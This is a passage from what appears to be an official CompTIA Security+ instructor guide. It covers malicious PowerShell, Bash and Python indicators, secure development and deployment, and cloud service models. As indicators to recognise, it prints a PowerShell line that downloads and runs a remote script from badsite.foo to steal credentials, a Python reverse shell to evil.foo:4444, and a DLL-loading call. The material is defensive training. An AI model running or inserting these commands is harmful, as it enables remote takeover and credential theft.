TA0008). The attacker might be seeking data assets or may try to widen access
by changing the system security configuration, such as opening a firewall port or
creating an account. If the attacker has compromised an account, these commands
can blend in with ordinary network operations, though they could be anomalous
behavior for that account.

Lesson 14: Summarizing Secure Application Concepts | Topic 14D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 395

• Persistence—this is a mechanism that the threat actor's backdoor is restarted if the

host reboots or the user logs off (attack.mitre.org/tactics/TA0003). Typical methods
are to use AutoRun keys in the registry, adding a scheduled task, or using Windows
Management Instrumentation (WMI) event subscriptions.

PowerShell Malicious Indicators Show Slide(s)

There are numerous exploit frameworks to leverage PowerShell functionality, such as PowerShell Malicious
PowerShell Empire, PowerSploit, Metasploit, and Mimikatz. Some suspicious indicators Indicators
for PowerShell execution include the following:
Teaching
• Cmdlets such as Invoke-Expression, Invoke-Command, Invoke-WMIMethod, New-
Tip
Service, Create-Thread, Start-Process, and New-Object can indicate an attempt to
Aim to give students
run some type of binary shellcode. This is particularly suspicious if combined with
basic recognition
a DownloadString or DownloadFile argument. One complication is that cmdlets can of common attack
be shortened, assisting obfuscation. For example, Invoke-Expression can be run frameworks and
using IEX. potentially suspicious
cmdlets and usages.
powershell.exe "IEX (New-Object Net.WebClient).
DownloadString('https://badsite.foo/DoEvil.ps1');
Do-Evil -StealCreds"
• Bypassing execution policy can also act as an indicator. The PowerShell code may be
called as a Base64 encoded string (-enc argument) or may use the -noprofile
or -ExecutionPolicy bypass arguments.

• Using system calls to the Windows API might indicate an attempt to inject a DLL
or perform process hollowing, where the malicious code takes over a legitimate
process:

[Kernel32]::LoadLibrary("C:\Users\Foo\AppData\Local\
Temp\doevil.dll")
• Using another type of script to execute the PowerShell is also suspicious. For
example, the attacker might use JavaScript code embedded in a PDF to launch
PowerShell via a vulnerable reader app.

The big problem with PowerShell indicators is distinguishing them from legitimate
behavior. The following techniques can be used to assist with this:
• Use group policy to restrict execution of PowerShell to trusted accounts and hosts.

• Use group policy execution control to run scripts only from trusted locations.

• Consider use of Constrained Language Mode (devblogs.microsoft.com/powershell/

powershell-constrained-language-mode) and signed scripts to limit the ability of
exploit code to run on high-value target systems.

• Use PowerShell logging (docs.microsoft.com/en-us/powershell/scripting/windows-

powershell/wmf/whats-new/script-logging?view=powershell-7) and the Antimalware
Scan Interface (docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps) to
detect and prevent obfuscated and suspicious code.

• Prevent the use of old PowerShell versions to mitigate the use of a downgrade
attack to bypass access controls.

Symantec's white paper contains a useful introduction to PowerShell exploits

(docs.broadcom.com/doc/increased-use-of-powershell-in-attacks-16-en).

Lesson 14: Summarizing Secure Application Concepts | Topic 14D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 396 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Bash and Python Malicious Indicators

Bash and Python
Most of the web runs on Linux, and Linux has proven remarkably resilient to attack,
Malicious Indicators given the high-value of the assets that depend on it. Most exploits of Linux systems
depend on weak configuration, and/or vulnerabilities in web applications. In Linux, the
command line is usually Bourne Again Shell (Bash). Many Linux systems have Python
enabled as well. Python scripts or batch files of bash commands can be used for
automation tasks, such as backup, or for malicious purposes.
A malicious script running on a Linux host might attempt the following:
1. Use commands such as whoami and ifconfig/ip/route to establish the
local context.

2. Download tools, possibly using wget or curl.

3. Add crontab entries to enable persistence.

4. Add a user to sudo and enable remote access via SSH.

5. Change firewall rules using iptables.

6. Use tools such as Nmap to scan for other hosts.

A very common vector for attacking Linux hosts is to use an exploit to install a web
shell as a backdoor (acunetix.com/blog/articles/introduction-web-shells-part-1). Typical
code to implement a reverse shell (connecting out to the machine at evil.foo on port
4444) is as follows:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("evil.foo",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")'
The os.dup2 statements redirect the terminal's data streams stdin (0), stdout (1),
and stderr (2) to the socket object (s). The pty module provides a library of functions
for managing a pseudo-terminal, in this case starting the shell process at /bin/sh.
The code to implement a shell can be obfuscated in numerous ways. One way to
identify malicious scripts trying to match code samples is to scan the file system against
a configuration baseline, either using file integrity monitoring or use of the Linux diff
command.
Show Slide(s)
A common exploit for a vulnerable web server is to upload a cryptominer, misusing
Macros and Visual the server's CPU resources to try to obtain new cryptocurrency. You can use Linux
Basic for Applications utilities such as top and free to diagnose excessive CPU and memory resource
(VBA) consumption by such malware.

Teaching This F5 white paper describes the use of Bash and Python attack tools (f5.com/labs/articles/
Tip threat-intelligence/attackers-use-new--sophisticated-ways-to-install-cryptominers).
Students need to
look out for macros
or document scripts
that download binary Macros and Visual Basic for Applications (VBA)
data or try to execute
scripts in other A document macro is a sequence of actions performed in the context of a word
languages. processor, spreadsheet, or presentation file. While the user may be able to record

Lesson 14: Summarizing Secure Application Concepts | Topic 14D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 397

macro steps using the GUI, ultimately macros are coded in a scripting language.
Microsoft Office uses the Visual Basic for Applications (VBA) language, while PDF
documents use JavaScript. Microsoft Office document macros can be inspected
using ALT+F11. Other vendors and open-source software also implement macro
functionality, using languages such as Basic or Python.
A malicious actor will try to use a macro-enabled document to execute arbitrary
code. For example, a Word document could be the vector for executing a malicious
PowerShell script. Macros are disabled by default in Office, but the attacker may be
able to use a social engineering attack to get the user to change the policy.
With PDF, the JavaScript might be embedded within the document and designed to
exploit a known vulnerability in the reader software to execute without authorization
(sentinelone.com/blog/malicious-pdfs-revealing-techniques-behind-attacks).

Man-in-the-Browser Attack Show Slide(s)

A man-in-the-browser (MitB) attack is a specific type of on-path attack where the web Man-in-the-Browser
browser is compromised. Depending on the level of privilege obtained, the attacker Attack
may be able to inspect session cookies, certificates, and data, change browser settings,
perform redirection, and inject code.
A MitB attack may be accomplished by installing malicious plug-ins or scripts or
intercepting calls between the browser process and DLLs (attack.mitre.org/techniques/
T1185). The Browser Exploitation Framework (BeEF) (beefproject.com) is one well
known MitB tool. There are various vulnerability exploit kits that can be installed to a
website to actively try to exploit vulnerabilities in clients browsing the site (trendmicro.
com/vinfo/ie/security/definition/exploit-kit). These kits may either be installed to a
legitimate site without the owner's knowledge (by compromising access control on
the web server) and load in an iFrame (invisible to the user), or the attacker may use
phishing/social engineering techniques to trick users into visiting the site.

The Browser Exploitation Framework (BeEF) uses a script to "hook" a browser.

The tool can be used to inspect session data and inject code.

Lesson 14: Summarizing Secure Application Concepts | Topic 14D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 398 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Secure Script Environments
Answer the following questions:

1. You have been asked to investigate a web server for possible intrusion. You
identify a script with the following code. What language is the code in and
does it seem likely to be malicious?

import os, sockets, syslog

def r_conn(ip)
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.connect(("logging.trusted.foo",514))
...
The code is written in Python. It uses various modules with default library code to
interact with the OS and network, and also the syslog logging platform. The first lines
of code define a function to connect to a host over port 514 (syslog). SOCK_DGRAM
is a UDP connection, which is standard for syslog. Most likely the script is for remote
logging and unlikely to be malicious, especially if trusted.foo is a known domain.

2. Which tools can you use to restrict the use of PowerShell on Windows
10 clients?

There are various group policy-based mechanisms, but for Windows 10, the Windows
Defender Application Control (WDAC) framework provides the most powerful toolset
for execution control policies.

3. A log shows that a PowerShell IEX process attempted to create a thread

in the target image c:\Windows\System32\lsass.exe. What is the aim of
this attack?

The Local Security Authority Subsystem Service (LSASS) enforces security policies,
including authentication and password changes. Consequently, it holds hashes of user
passwords in memory. Attacks on lsass.exe are typically credential dumping to steal
those hashes.

4. You are discussing a security awareness training program for an SME's

employees. The business owner asserts that as they do not run Microsoft
Office desktop apps, there should be no need to cover document security
and risks from embedded macros and scripts. Should you agree and not run
this part of the program?

No. While Visual Basic for Applications (VBA) can only be used with Microsoft Office,
other types of document can contain embedded scripts, such as JavaScript in PDFs.
Other Office suites, such as OpenOffice and LibreOffice, use scripting languages for
macros too.

Lesson 14: Summarizing Secure Application Concepts | Topic 14D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 399

Topic 14E
Summarize Deployment and
Automation Concepts

EXAM OBJECTIVES COVERED Teaching

2.3 Summarize secure application development, deployment, and automation concepts Tip
We conclude the
development lesson
Most organizations use Agile methodologies, involving a development process of with a look at the
remaining content
continuous integration, delivery, and deployment. You will need to be able to support examples from
the creation and use of secure development and staging environments, plus the use of objective 2.3, which
provisioning and deprovisioning tools. cluster around the
general concepts
of deployment and
Application Development, Deployment, and Automation automation.

A DevSecOps culture gives project teams a broad base of development, security, Show Slide(s)
and operations expertise and experience. This promotes an environment in which
security tasks make increased use of automation. Automation is the completion of
Application
an administrative task without human intervention. Task automation steps may be Development,
configurable through a GUI control panel, via a command line, or via an API called Deployment, and
by scripts. Tasks can be automated to provision resources, add accounts, assign Automation
permissions, perform incident detection and response, and any number of other
network security tasks.
Manual configuration introduces a lot of scope for making errors. A technician may be
unsure of best practice, or there may be a lack of documentation. Over time, this leads to
many small discrepancies in the way instances and services are configured. These small
discrepancies can become big problems when it comes to maintaining, updating, and
securing IT and cloud infrastructure. Automation provides better scalability and elasticity:
• Scalability means that the costs involved in supplying the service to more users are
linear. For example, if the number of users doubles in a scalable system, the costs to Show Slide(s)
maintain the same level of service would also double (or less than double). If costs
more than double, the system is less scalable. Secure Application
Development
• Elasticity refers to the system's ability to handle changes on demand in real time. Environments
A system with high elasticity will not experience loss of service or performance if
demand suddenly doubles (or triples, or quadruples). Conversely, it may be important Teaching
for the system to be able to reduce costs when demand is low. Elasticity is a common Tip
selling point for cloud services. Instead of running a cloud resource for 24 hours a day, This syllabus revision
7 days a week, that resource can diminish in power or shut down completely when has removed waterfall
demand for that resource is low. When demand picks up again, the resource will grow and Agile as explicit
in power to the level required. This results in cost-effective operations. content examples.
We need to mention
them to explain
Secure Application Development Environments "continuous," but
students should not
Security must be a key component of the application or automation design process. need to know the
development life cycle
Even a simple form and script combination can make a web server vulnerable if the phases in anything
script is not well written. A software development life cycle (SDLC) divides the other than very
creation and maintenance of software into discrete phases. There are two principal general terms.

Lesson 14: Summarizing Secure Application Concepts | Topic 14E

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 400 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

SDLCs: the waterfall model and Agile development. Both these models stress
the importance of requirements analysis and quality processes to the success of
development projects.

Quality Assurance (QA)

Quality processes are how an organization tests a system to identify whether it complies
with a set of requirements and expectations. These requirements and expectations can
be driven by risk-based assessments, or they can be driven by internal and external
compliance factors, such as industry regulations and company-defined quality standards.
Quality control (QC) is the process of determining whether a system is free from defects or
deficiencies. QC procedures are themselves defined by a quality assurance (QA) process,
which analyzes what constitutes "quality" and how it can be measured and checked.

Development Environments
To meet the demands of the life cycle model and quality assurance, code is normally
passed through several different environments:
• Development—the code will be hosted on a secure server. Each developer will check
out a portion of code for editing on his or her local machine. The local machine will
normally be configured with a sandbox for local testing. This ensures that whatever
other processes are being run locally do not interfere with or compromise the
application being developed.
• Test/integration—in this environment, code from multiple developers is merged
to a single master copy and subjected to basic unit and functional tests (either
automated or by human testers). These tests aim to ensure that the code builds
correctly and fulfills the functions required by the design.
• Staging—this is a mirror of the production environment but may use test or sample
data and will have additional access controls so that it is only accessible to test
users. Testing at this stage will focus more on usability and performance.

• Production—the application is released to end users.

Secure development environments. (Images © 123RF.com.)

Lesson 14: Summarizing Secure Application Concepts | Topic 14E

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 401

It is important to be able to validate the integrity of each coding environment.

Compromise in any environment could lead to the release of compromised code.
• Sandboxing—each development environment should be segmented from the
others. No processes should be able to connect to anything outside the sandbox.
Only the minimum tools and services necessary to perform code development and
testing should be allowed in each sandbox.

• Secure configuration baseline—each development environment should be built to

the same specification, possibly using automated provisioning.

• Integrity measurement—this process determines whether the development

environment varies from the configuration baseline. Perhaps a developer added an
unauthorized tool to solve some programming issue. Integrity measurement may
be performed by scanning for unsigned files or files that do not otherwise match the
baseline. The Linux diff command can be used to compare file structures
(linux.die.net/man/1/diff).

Provisioning, Deprovisioning, and Version Control Show Slide(s)

The use of development life cycle models and QA processes extends past development Provisioning,
and testing to the deployment and maintenance of an application or script-based Deprovisioning, and
automation task. Version Control

Provisioning
Provisioning is the process of deploying an application to the target environment,
such as enterprise desktops, mobile devices, or cloud infrastructure. An enterprise
provisioning manager might assemble multiple applications in a package. Alternatively,
the OS and applications might be defined as a single instance for deployment on a
virtualized platform. The provisioning process must account for changes to any of
these applications so that packages or instances are updated with the latest version.

Deprovisioning
Deprovisioning is the process of removing an application from packages or instances.
This might be necessary if software has to be completely rewritten or no longer
satisfies its purpose. As well as removing the application itself, it is also important to
make appropriate environment changes to remove any configurations (such as open
firewall ports) that were made just to support that application.

Version Control
Version control is an ID system for each iteration of a software product. Most version
control numbers represent both the version, as made known to the customer or end
user, and internal build numbers for use in the development process. Version control
supports the change management process for software development projects. Most
software development environments use a build server to maintain a repository of
previous versions of the source code. When a developer commits new or changed
code to the repository, the new source code is tagged with an updated version number Show Slide(s)
and the old version archived. This allows changes to be rolled back if a problem is
discovered.
Automation/Scripting
Release Paradigms
Automation/Scripting Release Paradigms
Teaching
Coding projects are managed using different life cycle models. The waterfall model Tip
software development life cycle (SDLC) is an older paradigm that focuses on the Make sure students
successful completion of monolithic projects that progress from stage-to-stage. The can distinguish these
more recent Agile paradigm uses iterative processes to release well-tested code phases.

Lesson 14: Summarizing Secure Application Concepts | Topic 14E

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 402 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

in smaller blocks or units. In this model, development and provisioning tasks are
conceived as continuous.

Continuous Integration
Continuous integration (CI) is the principle that developers should commit and test
updates often—every day or sometimes even more frequently. This is designed to
reduce the chances of two developers spending time on code changes that are later
found to conflict with one another. CI aims to detect and resolve these conflicts early,
as it is easier to diagnose one or two conflicts or build errors than it is to diagnose the
causes of tens of them. For effective CI, it is important to use an automated test suite
to validate each build quickly.

Continuous Delivery
Where CI is about managing code in development, continuous delivery is about
testing all of the infrastructure that supports the app, including networking, database
functionality, client software, and so on.

Continuous Deployment
Where continuous delivery tests that an app version and its supporting infrastructure
are ready for production, continuous deployment is the separate process of actually
making changes to the production environment to support the new app version.

Automation and continuous release paradigms. (Images © 123RF.com.)

Continuous Monitoring and Automated Courses of Action

An automation solution will have a system of continuous monitoring to detect service
failures and security incidents. Continuous monitoring might use a locally installed
agent or heartbeat protocol or may involve checking availability remotely. As well as
monitoring the primary site, it is important to observe the failover components to

Lesson 14: Summarizing Secure Application Concepts | Topic 14E

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 403

ensure that they are recovery ready. You can also automate the courses of action that
a monitoring system takes, like configuring an IPS to automatically block traffic that
it deems suspicious. This sort of capability is provided by security orchestration and
response (SOAR) management software.

Continuous Validation
An application model is a statement of the requirements driving the software
development project. The requirements model is tested using processes of verification
and validation (V&V):
• Verification is a compliance testing process to ensure that the product or system
meets its design goals.

• Validation is the process of determining whether the application is fit-for-purpose

(so for instance, its design goals meet the user requirements).

With the continuous paradigm, feedback from delivery and deployment must be
monitored and evaluated to ensure that the design goals continue to meet user and
security requirements. The monitoring and validation processes must also ensure that
there is no drift from the secure configuration baseline.

Software Diversity Show Slide(s)

An application's runtime environment will use one of two approaches for execution on Software Diversity
a host system:
• Compiled code is converted to binary machine language that can run independently
on the target OS.

• Interpreted code is packaged pretty much as is but is compiled line-by-line by an

interpreter, such as PowerShell or JavaScript. This offers a solution that is platform
independent because the interpreter resolves the differences between OS types
and versions.

Software diversity can refer to obfuscation techniques to make code difficult to detect
as malicious. This is widely used by threat actors in the form of shellcode compilers
to avoid signature detection, such as the venerable Shikata Ga Nai (fireeye.com/blog/
threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html). This can
be used as a defensive technique. Obfuscating API methods and automation code
makes it harder for a threat actor to reverse engineer and analyze the code to discover
weaknesses.
There is also general research interest in security by diversity. This works on the
principle that attacks are harder to develop against non-standard environments. A
monoculture environment, such as a Windows domain network, presents a fairly
predictable attack surface with plenty of commodity malware tools available to exploit
misconfigurations. Using a wide range of development tools and OS/application
vendors and versions can make attack strategies harder to research. As with security
by obscurity, this will not defeat a targeted attack, but it can partially mitigate risks
from less motivated threat actors, who will simply move to the next, easier target.
On the other hand, this sort of complexity will tend to lead to greater incidence of
configuration errors as technicians and developers struggle to master unfamiliar
technologies.

Lesson 14: Summarizing Secure Application Concepts | Topic 14E

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 404 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Deployment and Automation Concepts
Answer the following questions:

1. What is secure staging?

Creating secure development environments for the different phases of a software

development project (initial development server, test/integration server, staging [user
test] server, production server).

2. What feature is essential for managing code iterations within the

provisioning and deprovisioning processes?

Version control is an ID system for each iteration of a software product.

3. Which life cycle process manages continuous release of code to the

production environment?

Continuous deployment.

4. How does a specially configured compiler inhibit attacks through

software diversity?

The compiler can apply obfuscation routines to make the code difficult for a threat
actor to reverse engineer and analyze for vulnerabilities.

Lesson 14: Summarizing Secure Application Concepts | Topic 14E

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 405

Lesson 14
Summary
You should be able to identify and classify application attacks and summarize Teaching
development and coding best practices. Tip
Check that students
Guidelines for Secure Application Development are confident about
the content that has
been covered. If there
Follow these guidelines for initiating or improving application development projects:
is time, revisit any
• Train developers on secure coding techniques to provide specific mitigation content examples that
against attacks: they have questions
about. If you have
used all the available
• Overflow, race condition, and DLL/driver manipulation attacks that exploit
time for this lesson
vulnerable code. block, note the issues,
and schedule time for
• Injection attacks (XSS, SQL, XML, LDAP, shellcode) that exploit lack of input a review later in the
validation. course.

• Replay and request forgery attacks that exploit lack of secure authentication and
authorization mechanisms.

• Review and test code using static and dynamic analysis, paying particular attention
to input validation, output encoding, error handling, and data exposure.

• Use automation and continuous integration/delivery/deployment/monitoring/

validation to ensure secure and consistent development, staging, and production
environments.

• Document use of approved coding languages and launch locations, ideally with code
signing, to make malicious code easier to detect.

Lesson 14: Summarizing Secure Application Concepts

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 15
Implementing Secure Cloud Solutions

LESSON INTRODUCTION Teaching

Tip
The main idea behind cloud computing is that you can access and manage your data This lesson follows
and applications from any host, anywhere in the world, while the storage method and on from application
location are hidden or abstracted through virtualization. Cloud applications—whether development to look
accessed as public services or provisioned over private virtualization infrastructure— at deploying apps
and services through
are rapidly overtaking on-premises service delivery models. Security in and of the cloud
virtualization and
considerations will form an increasingly important part of your career as a security the cloud. There is a
professional. significant amount
of new cloud content
in this exam update,
Lesson Objectives so be prepared to
allocate this section
In this lesson, you will: plenty of time.
• Summarize secure cloud and virtualization services.

• Apply cloud security solutions.

• Summarize infrastructure as code concepts.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 408 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 15A
Summarize Secure Cloud and
Virtualization Services

Teaching EXAM OBJECTIVES COVERED

Tip 2.2 Summarize virtualization and cloud computing concepts
This topic provides
an overview of the
technologies and goals
In a traditional infrastructure, an attacker may find intrusions to be difficult as the
of cloud computing
and considers some of network can be isolated from the outside world. In a cloud environment, the attacker
the security impacts. may simply need to have an Internet connection and a dictionary of stolen password
The basic principles hashes or SSH keys to cause a breach. A lack of oversight in the security procedures of
of cloud models cloud providers can dramatically increase the risk an organization takes. As a security
and virtualization professional, you must be able to assess the threats and vulnerabilities associated with
technologies should
be familiar from A+
cloud service and delivery models, plus the virtualization technologies that underpin
and Network+, so them.
focus on security
implications.
Cloud Deployment Models
Show Slide(s)
A cloud deployment model classifies how the service is owned and provisioned. It is
important to recognize the different impacts deployment models have on threats and
Cloud Deployment vulnerabilities. Cloud deployment models can be broadly categorized as follows:
Models
• Public (or multi-tenant)—a service offered over the Internet by cloud service
Teaching providers (CSPs) to cloud consumers. With this model, businesses can offer
Tip subscriptions or pay-as-you-go financing, while at the same time providing
Students need to be lower-tier services free of charge. As a shared resource, there are risks regarding
able to distinguish performance and security. Multi-cloud architectures are where an organization
cloud provider models uses services from multiple CSPs.
(private versus public,
for instance) and the • Hosted Private—hosted by a third-party for the exclusive use of the organization.
features and uses of
This is more secure and can guarantee a better level of performance but is
the different *aaS
implementations. correspondingly more expensive.

• Private—cloud infrastructure that is completely private to and owned by the

organization. In this case, there is likely to be one business unit dedicated to
managing the cloud while other business units make use of it. With private cloud
computing, organizations can exercise greater control over the privacy and security
of their services. This type of delivery method is geared more toward banking and
governmental services that require strict access control in their operations.

This type of cloud could be on-premise or offsite relative to the other business
units. An onsite link can obviously deliver better performance and is less likely to
be subject to outages (loss of an Internet link, for instance). On the other hand, a
dedicated offsite facility may provide better shared access for multiple users in
different locations.

• Community—this is where several organizations share the costs of either a hosted

private or fully private cloud. This is usually done in order to pool resources for a
common concern, like standardization and security policies.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 409

There will also be cloud computing solutions that implement some sort of hybrid
public/private/community/hosted/onsite/offsite solution. For example, a travel
organization may run a sales website for most of the year using a private cloud
but break out the solution to a public cloud at times when much higher utilization
is forecast.
Flexibility is a key advantage of cloud computing, but the implications for data risk
must be well understood when moving data between private and public storage
environments.

Cloud Service Models Show Slide(s)

As well as the ownership model (public, private, hybrid, or community), cloud services Cloud Service Models
are often differentiated on the level of complexity and pre-configuration provided.
These models are referred to as something or anything as a service (XaaS). The three
most common implementations are infrastructure, software, and platform.

Infrastructure as a Service
Infrastructure as a service (IaaS) is a means of provisioning IT resources such as
servers, load balancers, and storage area network (SAN) components quickly. Rather
than purchase these components and the Internet links they require, you rent them on
an as-needed basis from the service provider's data center. Examples include Amazon
Elastic Compute Cloud (aws.amazon.com/ec2), Microsoft Azure Virtual Machines
(azure.microsoft.com/services/virtual-machines), Oracle Cloud (oracle.com/cloud), and
OpenStack (openstack.org).

Software as a Service
Software as a service (SaaS) is a different model of provisioning software
applications. Rather than purchasing software licenses for a given number of seats,
a business would access software hosted on a supplier's servers on a pay-as-you-
go or lease arrangement (on-demand). Virtual infrastructure allows developers to
provision on-demand applications much more quickly than previously. The applications
can be developed and tested in the cloud without the need to test and deploy on
client computers. Examples include Microsoft Office 365 (microsoft.com/en-us/
microsoft-365/enterprise), Salesforce (salesforce.com), and Google G Suite (gsuite.
google.com).

Platform as a Service
Platform as a service (PaaS) provides resources somewhere between SaaS and IaaS.
A typical PaaS solution would provide servers and storage network infrastructure
(as per IaaS) but also provide a multi-tier web application/database platform on top.
This platform could be based on Oracle or MS SQL or PHP and MySQL. Examples
include Oracle Database (oracle.com/database), Microsoft Azure SQL Database (azure.
microsoft.com/services/sql-database), and Google App Engine (cloud.google.com/
appengine).
As distinct from SaaS though, this platform would not be configured to actually
do anything. Your own developers would have to create the software (the CRM or
e‑commerce application) that runs using the platform. The service provider would
be responsible for the integrity and availability of the platform components, but you
would be responsible for the security of the application you created on the platform.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 410 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Dashboard for Amazon Web Services Elastic Compute Cloud (EC2) IaaS/PaaS.
(Screenshot used with permission from Amazon.com.)

Show Slide(s) Anything as a Service

Anything as a Service
There are many other examples of XaaS, reflecting the idea that anything can be
provisioned as a cloud service. For example, database as a service and network as a
Teaching service can be distinguished as more specific types of platform as a service. The key
Tip security consideration with all these models is identifying where responsibilities lie.
We've chosen to This is often referred to as security in the cloud versus security of the cloud. Security
treat this content in the cloud is the things you must take responsibility for; security of the cloud is the
example in terms things the CSP manages. These responsibilities vary according to the service type:
of the responsibility
matrix. Wikipedia has Responsibility IaaS PaaS SaaS
a comprehensive list if
IAM You You You (using CSP toolset)
the students want to
go acronym hunting Data security (CIA You You You/CSP/Both
(en.wikipedia.org/wiki/ attributes/backup)
As_a_service).
The acronym list does
Data privacy You/CSP/Both You/CSP/Both You/CSP/Both
reference monitoring Application code/ You You CSP
as a service, so there configuration
is a glossary entry for
that. Virtual network/firewall You You/CSP CSP
Middleware (database) You CSP CSP
code/configuration
Virtual Guest OS You CSP CSP
Virtualization layer CSP CSP CSP
Hardware layer (compute, CSP CSP CSP
storage, networking)

Note that this matrix identifies generic responsibilities only. Specific terms must be set out in
a contract and service level agreement (SLA) with the CSP.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 411

Security as a Service Show Slide(s)

The breadth of technologies requiring specialist security knowledge and configuration Security as a Service
makes it likely that companies will need to depend on third-party support at some
point. You can classify such support in three general "tiers":
• Consultants—the experience and perspective of a third-party professional can
be hugely useful in improving security awareness and capabilities in any type of
organization (small to large). Consultants could be used for "big picture" framework
analysis and alignment or for more specific or product-focused projects (pen
testing, SIEM rollout, and so on). It is also fairly simple to control costs when using
consultants if they are used to develop capabilities rather than implement them.
Where consultants come to "own" the security function, it can be difficult to change
or sever the relationship.

• Managed Security Services Provider (MSSP)—a means of fully outsourcing

responsibility for information assurance to a third party. This type of solution is
expensive but can be a good fit for an SME that has experienced rapid growth and
has no in-house security capability. Of course, this type of outsourcing places a huge
amount of trust in the MSSP. Maintaining effective oversight of the MSSP requires
a good degree of internal security awareness and expertise. There could also be
significant challenges in industries exposed to high degrees of regulation in terms of
information processing.

• Security as a Service (SECaaS)—can mean lots of different things, but is typically

distinguished from an MSSP as being a means of implementing a particular security
control, such as virus scanning or SIEM-like functionality, in the cloud. Typically,
there would be a connector to the cloud service installed locally. For example, an
antivirus agent would scan files locally but be managed and updated from the
cloud provider; similarly a log collector would submit events to the cloud service
for aggregation and correlation. Examples include Cloudflare (cloudflare.com/saas),
Mandiant/FireEye (fireeye.com/mandiant/managed-detection-and-response.html),
and SonicWall (sonicwall.com/solutions/service-provider/security-as-a-service).

Virtualization Technologies and Hypervisor Types Show Slide(s)

Virtualization means that multiple operating systems can be installed and run Virtualization
simultaneously on a single computer. A virtual platform requires at least three Technologies and
components: Hypervisor Types
• Host hardware—the platform that will host the virtual environment. Optionally,
Teaching
there may be multiple hosts networked together.
Tip
• Hypervisor/Virtual Machine Monitor (VMM)—manages the virtual machine This is a recap of the
environment and facilitates interaction with the computer hardware and network. basics. Hopefully
students should know
• Guest operating systems, Virtual Machines (VM), or instances—operating systems this material already.
installed under the virtual environment.

One basic distinction that can be made between virtual platforms is between host
and bare metal methods of interacting with the host hardware. In a guest OS (or
host-based) system, the hypervisor application (known as a Type II hypervisor) is itself
installed onto a host operating system. Examples of host-based hypervisors include
VMware Workstation, Oracle Virtual Box, and Parallels Workstation. The hypervisor
software must support the host OS.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 412 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Guest OS virtualization (Type II hypervisor)—The hypervisor is an application running within

a native OS, and guest OSes are installed within the hypervisor.

A bare metal virtual platform means that the hypervisor (Type I hypervisor) is installed
directly onto the computer and manages access to the host hardware without going
through a host OS. Examples include VMware ESXi Server, Microsoft's Hyper-V, and
Citrix's XEN Server. The hardware needs only support the base system requirements
for the hypervisor plus resources for the type and number of guest OSes that will
be installed.

Type I "bare metal" hypervisor—The hypervisor is installed directly on the host hardware along with
a management application, then VMs are installed within the hypervisor.

Show Slide(s) Virtual Desktop Infrastructure and Thin Clients

Virtual Desktop
Virtual desktop infrastructure (VDI) refers to using a VM as a means of provisioning
Infrastructure and corporate desktops. In a typical VDI, desktop computers are replaced by low-spec,
Thin Clients low-power thin client computers. When the thin client starts, it boots a minimal OS,
allowing the user to log on to a VM stored on the company server infrastructure.
The user makes a connection to the VM using some sort of remote desktop protocol

Lesson 15: Implementing Secure Cloud Solutions | Topic 15A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 413

(Microsoft Remote Desktop or Citrix ICA, for instance). The thin client has to find the
correct image and use an appropriate authentication mechanism. There may be a 1:1
mapping based on machine name or IP address or the process of finding an image may
be handled by a connection broker.
All application processing and data storage in the virtual desktop environment
(VDE) or workspace is performed by the server. The thin client computer must only
be powerful enough to display the screen image, play audio, and transfer mouse, key
commands and video, and audio information over the network. All data is stored on
the server, so it is easier to back up and the desktop VMs are easier to support and
troubleshoot. They are better "locked" against unsecure user practices because any
